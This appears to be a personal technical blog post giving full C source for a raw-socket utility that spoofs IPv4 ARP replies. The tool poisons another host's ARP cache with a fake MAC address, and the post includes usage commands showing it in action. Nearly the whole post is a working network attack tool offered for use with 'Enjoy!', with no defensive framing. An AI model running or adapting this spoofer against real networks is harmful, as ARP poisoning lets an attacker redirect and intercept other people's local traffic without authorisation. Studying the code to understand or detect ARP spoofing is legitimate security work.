Translate

Image of Android Wireless Application Development
Image of Beginning Google Maps API 3
Image of RHCE Red Hat Certified Engineer Linux Study Guide (Exam RH302) (Certification Press)
Image of Linux Kernel Development (3rd Edition)

Spoof an IPv4 ARP Response

It is quite early to poison the ARP cache of a computer by listening for the ARP request on another computer and sending back a fake response. Here is a simple utility that demonstrates how to do it using a raw socket.

/*
 *  Copyright (c) 2007 Finnbarr P. Murphy. All rights reserved.
 *
 *  Demonstrates how to spoof an IPv4 ARP response
 *
 *  Usage: spoofer device address
 *         e.g. spoofer eth0  192.168.0.119
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <libgen.h>

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>

#define ARPOP_REPLY 2
#define ARPHDR_ETHER 1
#define ETH_ALEN 6
#define IP_ALEN 4
#define IP_DOTLEN 15

// use our own IPv4 arp header structure 
struct arphdr
{
    unsigned short hw_type;               // hardware type
    unsigned short proto_type;            // protocol type
    char ha_len;                          // hardware address length
    char pa_len;                          // protocol address length
    unsigned short opcode;                // arp opcode
    unsigned char src_addr[ETH_ALEN];     // source MAC address
    unsigned char src_ip[IP_ALEN];        // source IP address
    unsigned char dst_add[ETH_ALEN];      // destination MAC address
    unsigned char dst_ip[IP_ALEN];        // destination IP address
};


char *
ipaddr_string(char *ina)
{
    static char buf[IP_DOTLEN + 1];
    unsigned char *p = ina;

    snprintf(buf, sizeof(buf), "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);

    return (buf);
}


void
usage(char *prog)
{
    printf("Usage: %s interfacename ipaddress (e.g. eth0 192.168.0.119)\n", basename(prog));
}

int
main(int argc,
     char **argv)
{
    int packetsize = sizeof(struct ether_header) + sizeof(struct arphdr);
    char packet[packetsize];
    struct ether_header *eth = (struct ether_header *) packet;
    struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));
    unsigned char arppacket[sizeof(struct arphdr) + sizeof(struct ether_header)];
    struct ether_header *spoof_eth = (struct ether_header *)arppacket;
    struct arphdr *spoof_arp = (struct arphdr *)(arppacket + sizeof(struct ether_header));
    struct sockaddr addr;
    struct ifreq iface;
    char smac[ETH_ALEN];
    int sd, n;

    if (argc < 3) {
        usage(argv[0]);
        exit(1);
    }

    // check if root
    if (getuid() != 0) {
        printf("ERROR: You must be root to use this utility\n");
        exit(1);
    }

    // open socket
    if ((sd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0)
    {
        perror(" read socket");
        exit(2);
    }

    // get device interface
    strcpy(iface.ifr_name, argv[1]);
    if ((ioctl(sd, SIOCGIFHWADDR, &iface)) < 0)
    {
        perror("ioctl");
        close(sd);
        exit(3);
    }

    // fake MAC address is just last 8 bits of real MAC incremented by 1
    iface.ifr_hwaddr.sa_data[5]++;

    memcpy(smac, &(iface.ifr_hwaddr.sa_data), ETH_ALEN);        

    printf("Fake MAC address is %02x:%02x:%02x:%02x:%02x:%02x\n",
#if DEBUG
        (unsigned char)iface.ifr_hwaddr.sa_data[0], (unsigned char)iface.ifr_hwaddr.sa_data[1],
        (unsigned char)iface.ifr_hwaddr.sa_data[2], (unsigned char)iface.ifr_hwaddr.sa_data[3],
        (unsigned char)iface.ifr_hwaddr.sa_data[4], (unsigned char)iface.ifr_hwaddr.sa_data[5]);
#else
        (unsigned char)smac[0], (unsigned char)smac[1],
        (unsigned char)smac[2], (unsigned char)smac[3],
        (unsigned char)smac[4], (unsigned char)smac[5]);
#endif

    // process packets
    while (1) {
        n = recvfrom(sd, packet, packetsize, 0, NULL, 0);

        if (n < 42) {
            perror("recvfrom");
            close(sd);
            exit(4);
        }

        // got a match - so send the fake reply
        if (ntohs(eth->ether_type) == ETHERTYPE_ARP  && !strncmp(ipaddr_string(arp->dst_ip), argv[2], IP_DOTLEN)) {

            // build ethernet header
            memcpy(spoof_eth->ether_dhost, eth->ether_shost, ETH_ALEN);         // Destination MAC
            memcpy(spoof_eth->ether_shost, smac, ETH_ALEN);                     // Source MAC
            spoof_eth->ether_type = htons(ETHERTYPE_ARP);                       // Packet type

            // build arp header
            spoof_arp->hw_type = htons(ARPHDR_ETHER);                           // Hardware address type
            spoof_arp->proto_type = htons(ETH_P_IP);                            // Protocol address type
            spoof_arp->ha_len = ETH_ALEN;                                       // Hardware address length
            spoof_arp->pa_len = IP_ALEN;                                        // Protocol address length
            spoof_arp->opcode = htons(ARPOP_REPLY);                             // ARP operation type
            memcpy(spoof_arp->src_addr, iface.ifr_hwaddr.sa_data, ETH_ALEN);    // Sender MAC
            memcpy(spoof_arp->src_ip, arp->dst_ip, IP_ALEN);                    // Source IP
            memcpy(spoof_arp->dst_add, arp->src_addr, ETH_ALEN);                // Target MAC
            memcpy(spoof_arp->dst_ip, arp->src_ip, IP_ALEN);                    // Target IP

            strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));

            printf("Sent ARP reply: %s is %02x:%02x:%02x:%02x:%02x:%02x\n",
               inet_ntoa(*(struct in_addr*)&spoof_arp->src_ip),
               (unsigned char)spoof_arp->src_addr[0], (unsigned char)spoof_arp->src_addr[1],
               (unsigned char)spoof_arp->src_addr[2], (unsigned char)spoof_arp->src_addr[3],
               (unsigned char)spoof_arp->src_addr[4], (unsigned char)spoof_arp->src_addr[5]);

           if (sendto(sd, arppacket, packetsize, 0, &addr, sizeof(addr)) < 0) {
               perror("sendto");
               close(sd);
               exit(5);
           }

           break;
       }
   }

   close(sd);

   exit(0);
}


The source code should be understandable by any reasonably competent C language developer so I will not attempt to explain it. It should compile without error on any GNU/Linux platform.

How can you use the spoofer utility?. A simple example will demonstrate its usage. Suppose I, as root, invoke the spoofer utility on a platform whose IPv4 address is 192.168.0.115 and whose network device is eth0:

# ./spoofer eth0 192.168.0.119


and from another computer execute

$ ping 192.168.0.119


The second computers ARP cache will be updated to contain the fake MAC address of 192.168.0.119.

[Update 01/12/2011] Here is a screenshot of me pinging 192.168.0.119 and receiving back the spoofed MAC address.

ARP screenshot1

Enjoy!

Comments are closed.